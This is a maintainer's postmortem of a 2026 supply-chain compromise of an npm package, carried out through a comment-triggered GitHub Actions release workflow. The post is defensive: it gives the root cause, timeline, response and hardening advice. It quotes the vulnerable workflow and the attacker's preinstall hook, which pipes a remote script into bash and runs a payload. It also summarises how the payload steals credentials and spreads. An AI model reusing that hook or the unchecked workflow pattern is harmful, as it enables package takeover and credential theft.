A Comment Was Enough: Postmortem of a Supply Chain Attack on My npm Package

Introduction

On 2026-08-28, an attacker published ten malicious versions of my npm package @7nohe/openapi-react-query-codegen. For about two and a half hours, the latest tag pointed at a version that executed an obfuscated payload on install.

They did not steal a token. They did not phish me. They opened a pull request, left a comment, and my own release workflow published the malware for them.

In this post, I want to walk through exactly how that happened, what I did about it, and what surprised me along the way. Several of those things were not in any guide I had read, so I hope writing them down saves someone else a bad morning.

The public disclosure and the full version list live here.

Timeline

All times UTC. Most of these come from API responses I captured while the incident was running: npm's time map, the pull request timeline, the advisory's published_at, git commit dates. Several of those sources are now gone, since npm removed the versions and GitHub suspended the account, so they cannot be re-derived from the live services. Three entries below are marked approximate because I did not record them precisely at the time.

2026-08-28

05:28  Attacker account p00paboot created
19:59  PR #215 opened; the account comments "npm publish" on it 8 seconds later
20:00  First malicious version published (0.5.4)
20:02  3.0.3 published
20:05  PR #215 force-pushed to remove the malicious commit
20:17  PR #216 opened, same pattern
20:18  Issue #217 filed by an external reporter. First I knew of any of it
20:19  3.0.4 published. The latest tag now points at malware
20:20  Tenth and final malicious version published (0.5.5)
20:29  PR #216 force-pushed
20:30  Issue #218 filed by a second reporter
22:50  issue_comment trigger removed. The hole is closed
~22:51 latest restored to 3.0.2 (approximate)
~22:52 All ten versions deprecated (approximate)
23:06  Full disclosure posted to #217
23:27  GHSA-9pvf-vcx3-x239 published

2026-08-29

~04:10 npm removes all ten versions; tarballs now 404. Confirmed by 04:11, so the
       removal itself was slightly earlier (approximate)
       GitHub suspends the attacker account and its fork at some point after this

Two numbers I keep coming back to. The attacker went from opening a pull request to ten published versions in twenty-one minutes. It took me two and a half hours from the first report to close the hole.

1. The vulnerability

Nobody ever wrote this bug. It assembled itself over two years, out of four changes that were each reasonable on their own.

Until April 2024 I published releases from my laptop. Then I automated it with a workflow that ran on tag push only.

A few weeks later a contributor added a useful convenience: comment npm publish on a pull request and get a prerelease you can install. It had no author check on the comment, but it ran actions/checkout against my repository rather than the pull request. Anyone could trigger it, and all they could make it do was publish a prerelease of my own default branch and move the pre dist-tag. Unauthorised publishing, which is not nothing, but not code execution.

Three days later, a follow-up fixed what was obviously broken about that: a prerelease of a pull request should contain the pull request's code. So it added a step to check out the PR head before installing.

That is the commit where this became remote code execution. It is also a completely sensible change in isolation. The feature did not work correctly without it.

Then in March 2026, I migrated the release workflow to npm trusted publishing, and folded comment-release.yml into release.yml while I was there. I was thinking about replacing a long-lived NPM_TOKEN with OIDC, which is the recommended direction. I was not thinking about the comment trigger at all; I had genuinely forgotten it existed, and I carried it across unchanged, now with id-token: write declared at the workflow level.

So the merged file looked like this.

permissions:
  contents: write
  id-token: write
  issues: write

on:
  push:
    tags: ['v*']
  issue_comment:
    types: [created]

jobs:
  release:
    if: ${{ github.event_name == 'push' || (github.event.issue.pull_request
          && github.event.comment.body == 'npm publish') }}

Read the if condition again. It checks what the comment says. It never checks who wrote it.

issue_comment is not a fork-restricted event. A pull request from a fork runs with a read-only token and no secrets; issue_comment does not. It fires in the base repository's context, with whatever permissions the workflow declares and with the repository's secrets available to be referenced, no matter who left the comment. So any GitHub user in the world could start my release job, and it ran with the capabilities I had granted it.

That alone would be bad. What made it fatal is the next part.

      - name: ⬇️ Checkout PR
        run: |
          git fetch origin pull/${{ github.event.issue.number }}/head:pr-find-commit
          git checkout pr-find-commit

      - name: Install dependencies
        run: pnpm install

The job checks out the pull request's code, then runs pnpm install on it. Package managers run lifecycle scripts during install. So a preinstall script written by the person who opened the pull request executes inside a job that holds id-token: write.

That is the whole bug. Untrusted code, executed in a trusted context.

2. What the attacker actually did

The account p00paboot was created about fourteen hours before the attack. It opened PR #215 against my repository and, eight seconds later, commented npm publish on its own pull request.

The diff was one line added to package.json.

"preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"

The filename is is_it_this_simple.js. I will admit that stung a little.

Look at the parameter names: WORKFLOW_ID, REPO_ID_SUFFIX, TARGET_PACKAGES. Those are not written for my package. That is tooling built to be pointed at any repository with this pattern. I cannot prove how I was selected, but nothing about it suggests I was picked deliberately.

The script minted an OIDC token from the job environment and exchanged it against npm trusted publishing. Then it backfilled malicious releases across every major line I had ever published (0.5.x, 1.6.x, 2.2.x, 3.0.x) to catch users pinned to older ranges. Ten versions in twenty-one minutes.

Afterwards it force-pushed both branches to erase the commits, and posted "Seems fine to me. Stop spreading misinformation." on the disclosure issue.

The force-pushed commits were still reachable through refs/pull/215/head and refs/pull/216/head. GitHub keeps pull request refs in the base repository, so a force push on the fork does not remove them. I fetched both into local refs early on, which turned out to matter: once GitHub suspended the account, the fork and both pull requests went to 404, and those local refs are the only copies I still have. If you are ever investigating something like this, fetch those refs before anything else.

Two research teams took the payload apart the same day. Aikido counted four layers of obfuscation, including a 1.6-million-element XOR-encrypted array and an AES-128-GCM stage. Socket's analysis describes the decrypted second stage harvesting credentials from files, process memory, environment variables and cloud metadata endpoints, validating the stolen tokens, then using them to publish poisoned versions of whatever else the victim maintains. Socket describes package poisoning on npm, JFrog and RubyGems plus optional PyPI typosquatting; Aikido describes the same republishing pattern reaching PyPI and RubyGems as well.

It also writes itself into repositories it can reach, and the files it chooses are the ones nobody diffs carefully: .vscode/tasks.json and .claude/settings.json. Persistence via LaunchAgents and systemd units. Propagation over SSH to other hosts.

So when I say "rotate your credentials if you installed this," I do not mean it as a ritual precaution. This thing was built to turn one compromised install into the next compromised package.

3. It looks like part of something larger

The generic parameter names turned out to be exactly what they looked like. Socket filed this under "Mini Shai-Hulud", an ongoing pattern of npm compromises that harvest credentials for GitHub, AWS, HashiCorp Vault and Kubernetes from whatever machine runs the install.

Socket is careful about attribution, and I will be too: they note that behavioural overlap does not establish shared operators, and that the resemblance is not proof this compromise belongs to either named campaign. What is established is that the techniques are shared.

TanStack was hit by a compromise in the same family: 84 compromised package artifacts, including @tanstack/react-router at over 12 million weekly downloads.

The instructive part is what they attribute it to. Their postmortem points at a pull_request_target "Pwn Request", combined with GitHub Actions cache poisoning across the fork-to-base trust boundary and extraction of the OIDC token from the runner's process memory. Mine was an issue_comment trigger with a missing author check.

Completely different bugs. Identical destination: code from outside the repository, running in a job that could reach a publish credential.

So if you are auditing your own workflows after reading this, do not look for my specific mistake. Look for the shape. Can anything originating outside your repository cause code to execute in a job that holds publish capability? The trigger is an implementation detail. The trust boundary is the thing.

Socket makes the same point about attestations that I stumbled into myself: a verified provenance badge is not a safety signal when the attacker can execute inside your CI.

4. Why trusted publishing did not save me

This part is counterintuitive, so let me be precise about it.

I had done what the guides recommend. I had no long-lived npm token in the workflow. I used trusted publishing with OIDC, which is supposed to be the safer option, and it generally is.

But id-token: write is a capability, not a secret. Any code running in that job can request an OIDC token from the runner and exchange it for a publish credential. Removing the stored token removed one attack path; it did not remove the ability to publish. I had mentally filed "no token in the repo" as "cannot publish from the repo," and those are not the same statement.

The consequence I did not anticipate at all is in the next section.

5. The malicious versions had valid provenance

Because the publishes really did run through my genuine release workflow, npm attached valid SLSA provenance attestations to every malicious version.

If you had inspected 3.0.4 and checked its provenance, it would have told you the truth: built by 7nohe/openapi-react-query-codegen, from workflow release.yml, on GitHub Actions. All correct. All useless.

Socket's write-up caught something I had missed. The SLSA predicates on the malicious versions reference commit d42d1733, my clean v3.0.2 release commit. The attestation does not merely fail to flag the malicious code; it actively points at a commit that contains none of it.

Provenance answers "did this come from the repository it claims to come from." It does not answer "was the build trustworthy." When the build pipeline itself is the compromised part, provenance faithfully attests to a compromised build. This is not a flaw in provenance, but it is a limit to know about before you rely on it as a signal.

6. Detection was harder than it should have been

I initially told everyone that all ten versions carried a preinstall hook. A second reporter corrected me in #218, and the correction mattered.

Four of the ten (0.5.4, 1.6.3, 2.2.1, 3.0.3) had no install script at all. They shipped a binding.gyp instead, which npm evaluates through node-gyp automatically. The file embeds a Python expression that walks the class hierarchy to reach os.system, with every identifier written as \U… escapes to defeat string matching.

So scanning package.json for install hooks misses four of them.

But the reverse also holds. My package declares files: ["dist"], so for the two 0.0.0-* prereleases the attacker's own payload files were excluded from the tarball. Those two have a malicious preinstall but neither binding.gyp nor the payload it tries to run. Not quite duds, though: one of them pipes Bun's remote install script into bash before it gets to the missing file, so it still fetches and executes something. They just never deliver the intended payload.

So scanning for the payload files misses two of them.

The only reliable check is the union of both: version number or file presence. And a single file hash does not work either, since the payload was rebuilt per version, ranging from 4.4 MB to 6.4 MB with a different hash each time.

7. Deprecation is not removal

I deprecated all ten versions with a security notice, and filed a removal request with npm through their support form.

The gap between those two actions mattered more than I expected. Deprecation prints a warning at install time. It does not prevent installation, and anyone whose lockfile already pinned an affected version saw no warning at all. Until npm removed the versions from the registry, npm install pkg@3.0.4 still succeeded and still ran the payload.

So deprecation is a holding action, not a fix. If you are ever in this position, file with npm support first and treat everything else as buying time.

8. The response, in order

The sequencing here matters more than the individual steps.

Close the hole first. Restoring the latest tag while issue_comment was still a trigger would have been pointless, because it could be re-published in seconds. So the first commit removed the trigger entirely.

on:
  push:
    tags: ['v*']

Releases now run on tag push only, which requires write access to the repository. I also dropped issues: write, set persist-credentials: false on checkout, and pinned installs to the lockfile.

Then, in order: revoke the trusted publisher, revoke all long-lived tokens, restore latest to the last good version 3.0.2, remove the poisoned pre tag, deprecate all ten versions, file the removal request, disclose publicly, publish a GHSA, and report the account.

I also audited every other repository I maintain, 156 repositories and 134 workflow files, for the same pattern. None had it. I recommend doing this even when you are fairly sure, because the attacker's tooling was clearly generic and I would not have wanted to find out the slow way.

9. What I would tell another maintainer

The single rule I would extract from all of this:

A job that checks out untrusted code must never hold publish capability. Not a token, not id-token: write, not contents: write. If the job installs or builds code that someone outside your repository can influence, it must be able to do nothing but fail.

Things to check today:

  • Do you have issue_comment, pull_request_target, or workflow_run triggering anything that installs dependencies? Those events run with base-repository permissions.
  • Does any such workflow declare id-token: write at the top level? Scope it to the single job that needs it, never workflow-wide.
  • If you want a comment-triggered prerelease, gate it on the commenter's author_association, and install with --ignore-scripts. On my personal-account repository OWNER is the right test; if your repository is owned by an organisation you will need MEMBER or COLLABORATOR too, or your actual maintainers will fail the gate.
  • Enable fork protection on your preview deployments. Mine was on, and that is the only reason the Vercel path was a dead end rather than a second breach.

That last one was luck rather than judgment, and I only found out afterwards while checking.

And if you think you may have installed an affected version, the published indicators are concrete. Look for the payload filename 3FWCvzduYZg.js, a binding.gyp in a package that has no native code, and temporary directories matching trinnyyyy-. Then check your own repositories for commits you did not make to .vscode/tasks.json and .claude/settings.json, and your npm, PyPI and RubyGems accounts for versions you did not publish.

Conclusion

The uncomfortable part of this incident is that nothing exotic happened. No zero-day, no sophisticated intrusion. Four reasonable changes over two years, none of them wrong enough to notice, and the person who found the result appears to have been running a script against whoever happened to have that shape.

None of this is a complaint about the contributor who wrote the comment trigger. Each of those pull requests did what it said. I reviewed them, I merged them, and two years later I upgraded the credential sitting behind them without re-reading what could reach it. The failure is mine, and it is a review failure rather than a coding one.

If you maintain a package with a publishing workflow, open it right now and read the if condition out loud. Ask whether it checks who, or only what. Mine only checked what, and I had looked at that file many times without noticing.

To everyone who installed an affected version: I am sorry. All ten are removed from the registry now. To be precise about what is safe, because "3.0.2 and earlier" would be wrong: no version published before 2026-08-28 is affected, and the last known-good release on each line is 0.5.3, 1.6.2, 2.2.0 and 3.0.2.

My thanks to @CharlieEriksen for the initial report and to @danieldanzigerupwind for the detailed payload analysis that corrected mine. The disclosure was fast and precise, and it made the response far better than it would have been otherwise.